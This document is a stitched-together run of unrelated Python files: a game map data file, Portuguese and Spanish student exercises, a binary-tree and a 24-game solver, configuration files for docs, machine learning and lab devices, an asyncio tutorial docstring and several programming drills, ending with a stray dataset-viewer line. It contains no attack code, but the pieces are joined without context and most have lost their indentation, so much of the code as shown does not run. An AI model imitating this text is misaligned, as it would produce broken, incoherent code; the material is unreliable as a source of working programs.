traps = [(1, 4), (1, 10), (1, 16), (6, 4), (6, 10), (6, 16), (11, 0), (11, 4), (11, 10), (11, 16)]
hitpoint_damage = [(21, 1), (21, 2), (21, 3)]
spellpoint_restore = []
stasis_chambers = []
random_encounter = [(0, 0), (0, 1), (0, 10), (0, 13), (0, 18), (2, 1), (2, 2), (2, 11), (2, 12), (2, 13), (3, 13), (3, 14), (3, 18), (3, 20), (4, 5), (4, 6), (4, 12), (4, 14), (5, 3), (5, 5), (5, 7), (5, 12), (5, 13), (5, 20), (7, 7), (7, 8), (7, 11), (8, 1), (10, 5), (10, 9), (12, 11), (13, 1), (13, 6), (13, 13), (14, 3), (14, 9), (14, 13), (17, 6), (17, 8), (17, 13), (20, 4), (20, 8), (20, 12), (20, 17)]
specials_other = [(0, 0), (0, 1), (0, 2), (0, 3), (0, 4), (0, 20), (2, 1), (3, 9), (5, 11), (6, 10), (6, 16), (6, 21), (7, 15), (9, 3), (9, 11), (9, 19), (9, 20), (11, 4), (11, 10), (11, 19), (12, 14), (12, 19), (13, 13), (13, 20), (14, 9), (17, 10), (17, 20), (18, 6)]
map = [
'+-++-++-++-++-+| .. |+----+| .. |+----+| .. |+----+| .. |+-++----+',
'| DD DD DD DD || || || || || || || || DD |',
'+-++-++-++-+| |+---S+| .. |+----+| .. |+----+| .. |+---S+| || .. |',
'+-----------. .------. .. .----S-. .. .-S----. .. .------. || .. |',
'| || |',
'| .---------. .---------------. .----------D----. .--------++----+',
'| |+-++----+| |+----++-------+| |+-++-++-++D++-+| |+-++----++----+',
'| || || || DD || || || || DD DD DD || DD || || |',
'| |+S++D---+| || .--++--. .. || |+D++D++-++D++-+| |+D+| .. || .. |',
'| |+S--D---+| || |+----+| .. || |+D++D++-++D++-+| |+D+| .. || .. |',
'| || || || || || DD || DD DD || SS || || DD || |',
'| || .. .. || |+D+| .. |+----+| |+D++D++-++-++-+| |+-++----++D---+',
'| || .. .. || |+D+| .. |+----+| |+D++D++-++-++-+| |+-------++D---+',
'| || || || DD || || || || DD DD DD || || || |',
'| |+---D--S+| |+-++----+| .. || |+D++S++D++-++-+| || .. .. || .. |',
'| |+---D++S+| |+-++----+| .. || |+D++S++D++-++-+| || .. .. || .. |',
'| || || || || DD DD || || || || || DD DD DD || |',
'| |+---D++-+| |+-++----++---D+| |+D++-++-++-++-+| |+-------++D---+',
'| .----D----. .-------------D-. .-D-------------. .----------D++-+',
'| SS |',
'| .---------. .-------D--D----. .---------------. .-----------++-+',
'| |+-------+| |+------D++D---+| |+-------++----+| |+-------------+',
'| || || || || || DD || DD || |',
'| || .. .. || || .. .. || .. || || .. .. || .. || || .---------. |',
'| || .. .. || || .. .. || .. || || .. .. || .. || || |+-------+| |',
'| DD || || || || || || || || || || |',
'| |+-------+| |+-------++----+| |+-------++----+| || || .---. || |',
'| |+-------+| |+----++-------+| |+-++----++----+| || || |+-+| || |',
'| || DD || || || || DD || || || || || DD || |',
'| || .. .. || || .. || .. .. || |+-+| .. || .. || || || |+-++-+| |',
'| || .. .. || || .. || .. .. || |+-+| .. || .. || || || .------. |',
'| || || || || DD || DD || DD || || |',
'| |+-------+| |+D---++-------+| |+-++---D++----+| |+D++----------+',
'. .---------. .-D-------------. .-------D-------. .-D-------------',
' ',
'. .---------. .-D-----------D-. .-D--------D----. .---------------',
'| |+-------+| |+D---++------D+| |+D------++D---+| |+----++-++----+',
'| || || || || || || || || || DD || |',
'| || .. .. || |+---S+| .. .. || || .. .-D+| .. || |+D---++-+| .. |',
'| || .. .. || |+---S+| .. .. || || .. |+D+| .. || |+D------+| .. |',
'| || || || || || || || || || || DD |',
'| |+D------+| |+----++------S+| |+----++-+| .. || || .. .. |+----+',
'| |+D------+| .-----++----++S+| |+-------+| .. || || .. .. |+----+',
'| || DD || || || || DD || || DD |',
'| |+-------++-----. || .. |+-++D++--. .. |+----++S++D------+| .. |',
'| .--------------+| || .. |+---D---+| .. |+----++S++D------+| .. |',
'| || || || || || DD || || |',
'+-----. .. .. .. || || .. || .. .. || .. || .. || || .. .. |+----+',
'-----+| .. .. .. || || .. || .. .. || .. || .. || || .. .. |+-----',
' || || DD || || || || || || ',
'. .. || .. .-----++-++----++---S---++----++----++-++--. .. || .. .',
'. .. || .. |+----++----++----++S---++----++----++----+| .. || .. .',
' DD DD DD DD || || DD DD DD DD ',
'. .. || .. |+----++----++----++----++----++----++----+| .. || .. .',
'. .. || .. .------------------------------------------. .. || .. .',
' || || ',
'-----+| .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. |+-----',
'+-----. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .-----+',
'| |',
'| .. .. .----D--D--------D--D--------D--D--------D--D----. .. .. |',
'| .. .. |+---D++D---++---D++D---++---D++D---++---D++D---+| .. .. |',
'| || || || || || || || || || |',
'| .. .. || .. || .. || .. || .. || .. || .. || .. || .. || .. .. |',
'| .. .. || .. || .. || .. || .. || .. || .. || .. || .. || .. .. |',
'| || || || || || || || || || |',
'+-------++----+| .. |+----+| .. |+----+| .. |+----+| .. |+-------+',
]
|
''' Desenvolva um programa que pergunte a distância de uma viagem em Km. Calcule o preço da passagem, cobrando R$ 0,50 por Km para viagens de até 200 Km e R$ 0,45 parta viagens mais longas. '''
distancia = float(input('Qual a distância da viagem em Km? '))
print(f'Você está prestes a começar sua viagem de {distancia:.2f} Km.')
if distancia <= 200:
preco = distancia * 0.50
else:
preco = distancia * 0.45
print(f'O valor da passagem é de R$ {preco:.2f}')
|
def limpiarString(stringin):
punt = ''':/,-.'"}{)(;]['''
for char in stringin:
if char in punt:
stringin = stringin.replace(char, " ")
return stringin
def formatearALista(stringin):
stringin=stringin.lower()
stringin=limpiarString(stringin)
return stringin.split()
nombres = """'Agustin','Alan','Andrés','Ariadna','Bautista','CAROLINA','CESAR','David','Diego','Dolores','DYLAN','ELIANA','Emanuel','Fabián','Facundo','Facundo','FEDERICO','FEDERICO','GONZALO','Gregorio','Ignacio','Jonathan','Jonathan','Jorge','JOSE','JUAN','Juan','Juan','Julian','Julieta','LAUTARO','Leonel','LUIS','Luis','Marcos','María','MATEO','Matias','Nicolás','NICOLÁS','Noelia','Pablo','Priscila','TOMAS','Tomás','Ulises', 'Yanina'"""
nombres2 = """ 'Agustin','AGUSTIN','Agustín','Ailen','Alfredo','Amalia','Ariana','Bautista','Braian','Carla','CESAR','Daniel','Diego','ELIANA','Facundo','Facundo','Facundo','Facundo','Federico','Federico','Flavia','Francisco','Germán','Guido','GUSTAVO','Hilario','Ignacio','IVAN','Jimmy','Joaquín','Jose','Josue','JUAN','Juan','Laura','LAURA','Lautaro','Lautaro','Ludmila','Marcos','Marcos','MARIANELA','MARTIN','MATEO','Mateo','Matias','MAURO','Maximiliano','NESTOR','Nicolas','Pedro','Ramiro','Sofía','Tobias','Tomás','Tomás','Ulises','Yanina'"""
eval1 = '''81,60,72,24,15,91,12,70,29,42,16,3,35,67,10,57,11,69,12,77,13,86,48,65,51,41,87,43,10,87,91,15,44,85,73,37,42,95,18,7,74,60,9,65,93,63,74'''
eval2 = '''30,95,28,84,84,43,66,51,4,11,58,10,13,34,96,71,86,37,64,13,8,87,14,14,49,27,55,69,77,59,57,40,96,24,30,73,95,19,47,15,31,39,15,74,33,57,10'''
lst_nombres = formatearALista(nombres)
lst_nombres2 = formatearALista(nombres2)
nombres_en_comun = []
nombres_en_comun= [nom1 for nom1 in lst_nombres for nom2 in lst_nombres2 if (nom1==nom2) ]
nombres_en_comun=[]
for e in lst_nombres:
for e2 in lst_nombres2:
if (e==e2) and (e not in nombres_en_comun):
nombres_en_comun.append(e)
lst_eval1=eval1.split(',')
lst_eval2=eval2.split(',')
#TODO terminar segundo punto y ver la comprension
'''
8. Con la información de los archivos de texto que se encuentran disponibles en el curso:
• nombres_1
• nombres_2
Nota: Trabaje con los datos en variables de tipo string.
• Indique los nombres que se encuentran en ambos. Nota: pruebe utilizando list comprehension.
• Genere dos variables con la lista de notas que se incluyen en los archivos: eval1.txt y eval2.txt
e imprima con formato los nombres de los estudiantes con las correspondientes nota y la suma
de ambas como se ve en la imagen:
''' |
"""
Configuration for docs
"""
# source_link = "https://github.com/[org_name]/college"
# docs_base_url = "https://[org_name].github.io/college"
# headline = "App that does everything"
# sub_heading = "Yes, you got that right the first time, everything"
def get_context(context):
context.brand_html = "college"
|
# Given a binary tree, return the level of the tree with minimum sum.
class Node:
def __init__(self, value, left=None, right=None):
self.value = value
self.left = left
self.right = right
def min_level_sum(node):
min_sum = float('inf')
cur_levle = [node]
while cur_levle:
next_level = []
total = 0
for n in cur_levle:
total += n.value
if n.left:
next_level.append(n.left)
if n.right:
next_level.append(n.right)
if total < min_sum:
min_sum = total
cur_levle = next_level
return min_sum
if __name__ == '__main__':
tree = Node(23, Node(20, Node(12), Node(8)), Node(5, Node(1)))
print(min_level_sum(tree)) |
#PREPARACION CUARTO LABORATORIO
#EJERCICIO 1:
def obtener_cadena():
cadena=input("Ingrese cadena deseada: ")
if cadena != "fin":
if len(cadena)<1:
print("ingrese al menos un caracter: ")
cadena=input("Ingrese cadena deseada: ")
if "1" in cadena or "2" in cadena or "3" in cadena or "4" in cadena or "5" in cadena or "6" in cadena or "7" in cadena or "8" in cadena or "9" in cadena or "0" in cadena:
print("No puede ingresar numeros: ")
cadena=input("Ingrese cadena deseada: ")
print(cadena)
if cadena == "fin":
print("Ha finalizado la escritura")
#obtener_cadena()
#EJERCICIO 2:
def palindromos (cadena):
resultado = []
cadena=cadena.lower().split(" ")
for palabra in cadena:
if palabra == palabra [::-1]:
resultado.append(palabra)
return resultado
print(palindromos("Hay que reconocer seres extraterrestres"))
|
def comboboxListOptions(window_struct, object_struct,handle=None):
if handle == None:
result = getObject(window_struct,object_struct)
handle = result['handle']
list_options=[]
if handle.getChildCount() > 0:
for childlvl_1 in range(0,handle.getChildCount()):
cur_handle_childlvl_1 = handle.getChildAtIndex(childlvl_1)
for childlvl_2 in range(0,cur_handle_childlvl_1.getChildCount()):
cur_handle_childlvl_2 = cur_handle_childlvl_1.getChildAtIndex(childlvl_2)
list_options.append(cur_handle_childlvl_2.name)
return list_options
def comboboxGetSelected(window_struct, object_struct,handle=None):
if handle == None:
result = getObject(window_struct,object_struct)
handle = result['handle']
list_options=[]
return handle.name
|
class Foo(object):
A = 1
B = 2
def __init__(self):
self.class_var = "V"
def main():
f = Foo()
g = Foo()
f.A = 12
g.A = 33
Foo.A = 34
print("f.A: {}".format(f.A))
print("g.A: {}".format(g.A))
print("Foo.A: {}".format(Foo.A))
print("f.class_var: {}".format(f.class_var))
if __name__ == '__main__':
main() |
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
"""
@Time 15/05/2018 11:41 AM 2018
@Author HJ@USTC
@Email jhsa26@mail.ustc.edu.cn
@Blog jhsa26.github.io
"""
class Config(object):
def __init__(self):
# self.filepath_disp_training = '../DataSet/TrainingData/0.5km/China/disp_combine_gaussian_map_5-10/'
self.filepath_disp_training = '../DataSet/TrainingData/0.5km/USA/disp_combine_gaussian_map/'
#self.filepath_vs_training = '../DataSet/TrainingData/0.5km/China/vs_curve_5-10/'
self.filepath_vs_training = '../DataSet/TrainingData/0.5km/USA/vs_curve/'
# self.filepath_disp_pred = '../../DataSet/TestData/real-8s-50s/USA/disp_combine_gaussian_map_utah/'
self.filepath_vs_pred = '../DataSet/TestData/real-8-50s/vs_syn_gaussian/'
self.filepath_disp_pred = '../DataSet/TestData/real-8s-50s/China/disp_combine_gaussian_map_test_4512/'
self.batch_size = 64 # training batch size
self.nEpochs = 300 # umber of epochs to train for
self.lr = 0.000005
self.seed = 123 # random seed to use. Default=123
self.plot = True
self.alpha=0.0000 # damping
self.testsize=0.2
self.pretrained =True
self.start=600
self.pretrain_net = "./model_para_USA/model_epoch_"+str(self.start)+".pth"
if __name__ == '__main__':
pass
|
"""Configures the node dependencies for the markdown functionality."""
load("@build_bazel_rules_nodejs//:index.bzl", "node_repositories", "yarn_install")
def markdown_register_node_deps(name = "cgrindel_bazel_starlib_markdown_npm"):
"""Configures the installation of the Javascript node dependencies for the markdown functionality.
Args:
name: Optional. The name of the `yarn` repository that will be defined.
"""
node_repositories(
node_version = "16.13.2",
yarn_version = "1.22.17",
)
yarn_install(
name = name,
package_json = "@cgrindel_bazel_starlib//markdown/private:package.json",
yarn_lock = "@cgrindel_bazel_starlib//markdown/private:yarn.lock",
)
|
#Answer Key
#1.1
print (100 * 1.02 ** 8)
#1.2
pig3 = "2.85"
print(type(pig3))
float(pig3)
print(pig3)
#1.3
hall = 6.25
kit = 11.0
liv = 40.0
bed = 17.75
bath = 11.50
# Adapt list areas
areas = [str("hallway"),hall, "kitchen", kit, str("living room"), liv, "bedroom",bed, str("bathroom"),bath]
#Still need to convert to string, but can actually do calculation within the string conversion...
print ("The sum area of bedroom and bathroom is "+ str(areas[-1]+areas[-3]) + " square meters.")
#1.4
Jerry = 102
Jason = 100
Mary = "A"
Molly = "A-"
Martin = "B+"
Shin = "C-"
Shook = 65
Foster = 51
grades = ["Jerry", Jerry, "Jason", Jason, "Mary", Mary, "Molly", Molly, "Martin", Martin,
"Shin", Shin,"Shook", Shook, "Foster", Foster]
print (grades)
okstudent = grades[:12]
print(okstudent)
notokstudent = grades[12:]
print(notokstudent)
#1.5
pig= "PiGgy"
smallpig = pig.lower()
print(smallpig)
#because python discriminates upper and lower case letter, use the following code will do the work
bigpig= pig.upper()
print(bigpig.count("G"))
|
favorite_languages = {
'jen': 'Python',
'sarah': 'C',
'edward': 'Ruby',
'phil': 'Python'
}
for name in favorite_languages.keys():
print(name.title())
for value in favorite_languages.values():
print(value.title())
# print(f"\n Sarah's favorite languages is " + favorite_languages['sarah'].title() + ".\n")
|
class rectangle():
def __init__(self, length, breadth):
self.length = length
self.breadth = breadth
def area(self):
return self.length * self.breadth
a = int(input("Enter length of rectangle : "))
b = int(input("Enter a breadth of rectangle : "))
obj = rectangle(a, b)
print("Area of rectangle : ", obj.area()) |
# Program to check if a is a primitive root mod q
# Written by Benjamin Mestdagh
def calculate(a, q):
powers = []
for i in range(1, q):
result = (a**i) % q
if result in powers:
return False
else:
powers.append(result)
return True
try:
a = int(input("Enter a: "))
q = int(input("Enter q: "))
result = calculate(a,q)
if result:
print('{0} is a primitive root mod {1}'.format(a, q))
else:
print('{0} is NOT a primitive root mod {1}'.format(a,q))
except:
print("Error")
|
"""
- Where Does Async IO Fit In?
Concurrency and parallelism are expansive subjects that are not easy to wade
into. While this tutorial focuses on async IO and its implementation in Python,
it’s worth taking a minute to compare async IO to its counterparts in order to
have context about how async IO fits into the larger, sometimes dizzying puzzle.
Parallelism consists of performing multiple operations at the same time.
Multiprocessing is a means to effect parallelism, and it entails spreading
tasks over a computer’s central processing units (CPUs, or cores).
Multiprocessing is well-suited for CPU-bound tasks: tightly bound for loops and
mathematical computations usually fall into this category.
Concurrency is a slightly broader term than parallelism. It suggests that
multiple tasks have the ability to run in an overlapping manner. (There’s a
saying that concurrency does not imply parallelism.)
Threading is a concurrent execution model whereby multiple threads take turns
executing tasks. One process can contain multiple threads. Python has a
complicated relationship with threading thanks to its GIL, but that’s will be
explored in the coming tutorials.
What’s important to know about threading is that it’s better for IO-bound tasks.
While a CPU-bound task is characterized by the computer’s cores continually
working hard from start to finish, an IO-bound job is dominated by a lot of
waiting on input/output to complete.
To recap the above, concurrency encompasses both multiprocessing (ideal for
CPU-bound tasks) and threading (suited for IO-bound tasks). Multiprocessing is
a form of parallelism, with parallelism being a specific type (subset) of
concurrency. The Python standard library has offered longstanding support for
both of these through its multiprocessing, threading, and concurrent.futures
packages.
Now it’s time to bring a new member to the mix. Over the last few years, a
separate design has been more comprehensively built into CPython: asynchronous
IO, enabled through the standard library’s asyncio package and the new async
and await language keywords. To be clear, async IO is not a newly invented
concept, and it has existed or is being built into other languages and runtime
environments, such as Go, C#, or Scala.
In fact, async IO is a single-threaded, single-process design: it uses
cooperative multitasking, a term that you’ll flesh out by the end of this
tutorial. It has been said in other words that async IO gives a feeling of
concurrency despite using a single thread in a single process. Coroutines (a
central feature of async IO) can be scheduled concurrently, but they are not
inherently concurrent.
To reiterate, async IO is a style of concurrent programming, but it is not
parallelism. It’s more closely aligned with threading than with multiprocessing
but is very much distinct from both of these and is a standalone member in
concurrency’s bag of tricks.
What does it mean for something to be asynchronous?
- Asynchronous routines are able to “pause” while waiting on their ultimate
result and let other routines run in the meantime.
- Asynchronous code, through the mechanism above, facilitates concurrent
execution. To put it differently, asynchronous code gives the look and feel
of concurrency.
Diagram: https://files.realpython.com/media/Screen_Shot_2018-10-17_at_3.18.44_PM.c02792872031.jpg
Async IO may at first seem counterintuitive and paradoxical. How does something
that facilitates concurrent code use a single thread and a single CPU core?
- Example:
Chess master Judit Polgár hosts a chess exhibition in which she plays multiple
amateur players. She has two ways of conducting the exhibition: synchronously
and asynchronously.
Assumptions:
- 24 opponents
- Judit makes each chess move in 5 seconds
- Opponents each take 55 seconds to make a move
- Games average 30 pair-moves (60 moves total)
Synchronous version: Judit plays one game at a time, never two at the same
time, until the game is complete. Each game takes (55 + 5) * 30 == 1800
seconds, or 30 minutes. The entire exhibition takes 24 * 30 == 720 minutes, or
12 hours.
Asynchronous version: Judit moves from table to table, making one move at each
table. She leaves the table and lets the opponent make their next move during
the wait time. One move on all 24 games takes Judit 24 * 5 == 120 seconds, or 2
minutes. The entire exhibition is now cut down to 120 * 30 == 3600 seconds, or
just 1 hour.
There is only one Judit Polgár, who has only two hands and makes only one move
at a time by herself. But playing asynchronously cuts the exhibition time down
from 12 hours to one. So, cooperative multitasking is a fancy way of saying
that a program’s event loop (more on that later) communicates with multiple
tasks to let each take turns running at the optimal time.
Async IO takes long waiting periods in which functions would otherwise be
blocking and allows other functions to run during that downtime. (A function
that blocks effectively forbids others from running from the time that it
starts until the time that it returns.)
- Async IO Is Not Easy:
I’ve heard it said, “Use async IO when you can; use threading when you must.”
The truth is that building durable multithreaded code can be hard and
error-prone. Async IO avoids some of the potential speedbumps that you might
otherwise encounter with a threaded design.
But that’s not to say that async IO in Python is easy. Be warned: when you
venture a bit below the surface level, async programming can be difficult too!
Python’s async model is built around concepts such as callbacks, events,
transports, protocols, and futures—just the terminology can be intimidating.
The fact that its API has been changing continually makes it no easier.
Luckily, asyncio has matured to a point where most of its features are no
longer provisional, while its documentation has received a huge overhaul and
some quality resources on the subject are starting to emerge as well.
NOTE: Be careful what you read out there on the Internet. Python’s async IO API
has evolved rapidly from Python 3.4 to Python 3.7. Some old patterns are no
longer used, and some things that were at first disallowed are now allowed
through new introductions. For all I know, this tutorial will join the club of
the outdated soon too.
"""
|
nums=[2,3,3,4]
def combines(nums):
assert(nums)
if len(nums) == 1:
return [(nums[0], [])]
out = []
for i in range(1,len(nums)):
for j in range(i):
n1 = nums[j]
n2 = nums[i]
if nums.index(n1) != j:
continue
if nums.index(n2) not in [i,j]:
continue
other_nums = nums[:j] + nums[j+1:i] + nums[i+1:]
options = [
(n1+n2, "{}+{}".format(n1, n2)),
(n1-n2, "{}-{}".format(n1, n2)),
(n2-n1, "{}-{}".format(n2, n1)),
(n1*n2, "{}*{}".format(n1, n2)),
]
if n1 >= 0 and n2 <= 32 and not (n1 == 0 and n2 < 0):
options.append((n1**n2, "{}^{}".format(n1, n2)))
if n2 >= 0 and n1 <= 32 and not (n2 == 0 and n1 < 0):
options.append((n2**n1, "{}^{}".format(n2, n1)))
if n2 != 0:
options.append((n1/n2, "{}/{}".format(n1, n2)))
if n1 != 0:
options.append((n2/n1, "{}/{}".format(n2, n1)))
for (n, s) in options:
assert(n > 0 or n <= 0)
new_nums = other_nums + [n]
assert(len(new_nums) == len(nums) - 1)
results = combines(new_nums)
for (result, method) in results:
p = (result, [s] + method)
out.append(p)
return out
results = combines([2,3,3,4])
for result, method in results:
if result == 24:
print(result, method)
|
df_referendum['Department code'] = df_referendum['Department code'].apply(
lambda x: '0' + x if len(x) == 1 else x
)
df_referendum.head()
|
size = int(input())
matrix = [
[int(_) for _ in input().split()]
for i in range(size)
]
bombs = [_.split(",") for _ in input().split()]
for bomb in bombs:
current_bomb = matrix[int(bomb[0])][int(bomb[1])]
c_b_row = int(bomb[0])
c_b_col = int(bomb[1])
damage = current_bomb
around_squares = [
(c_b_row-1, c_b_col -1), (c_b_row-1, c_b_col), (c_b_row-1, c_b_col +1),
(c_b_row, c_b_col - 1), (c_b_row, c_b_col +1),
(c_b_row + 1, c_b_col - 1), (c_b_row+1, c_b_col), (c_b_row+1, c_b_col +1)
]
for square in around_squares:
row = square[0]
col = square[1]
if (row < 0 or row > size-1) or (col < 0 or col > size-1):
continue
current_square = matrix[row][col]
if current_square > 0:
matrix[row][col] -= damage
matrix[int(bomb[0])][int(bomb[1])] = 0
alive_cells = []
for i in matrix:
for j in i:
if j > 0:
alive_cells.append(j)
print(f"Alive cells: {len(alive_cells)}")
print(f"Sum: {sum(alive_cells)}")
print('\n'.join([' '.join(map(str, m)) for m in matrix]))
|
description = 'resolution args of chopper real table'
group = 'lowlevel'
includes = ['chopper', 'detector', 'real_flight_path']
devices = dict(
resolution = device('nicos_mlz.refsans.devices.resolution.Resolution',
description = description,
chopper = 'chopper',
flightpath = 'real_flight_path',
),
)
|
def main():
# input
N = int(input())
As = [*map(int, input().split())]
# compute
studentss = []
for i, A in enumerate(As):
studentss.append([A, i])
anss = []
for _, num in sorted(studentss):
anss.append(num + 1)
# output
print(*anss)
if __name__ == '__main__':
main()
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.